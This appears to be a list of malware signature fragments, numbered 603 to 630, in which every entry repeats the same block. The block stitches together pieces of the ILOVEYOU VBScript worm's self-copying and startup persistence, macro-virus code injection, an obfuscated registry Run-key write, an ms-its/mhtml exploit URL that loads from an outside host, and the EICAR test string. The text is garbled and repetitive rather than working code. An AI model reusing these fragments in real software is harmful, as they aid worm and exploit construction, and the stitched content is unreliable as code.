 End Sub

603

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

604

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

605

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

606

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

607

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

608

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

609

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

610

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

611

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

612

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

613

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

614

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

615

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

616

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

617

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

618

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

619

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

620

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

621

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

622

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

623

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

624

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

625

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

626

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

627

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

628

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

629

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

630

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
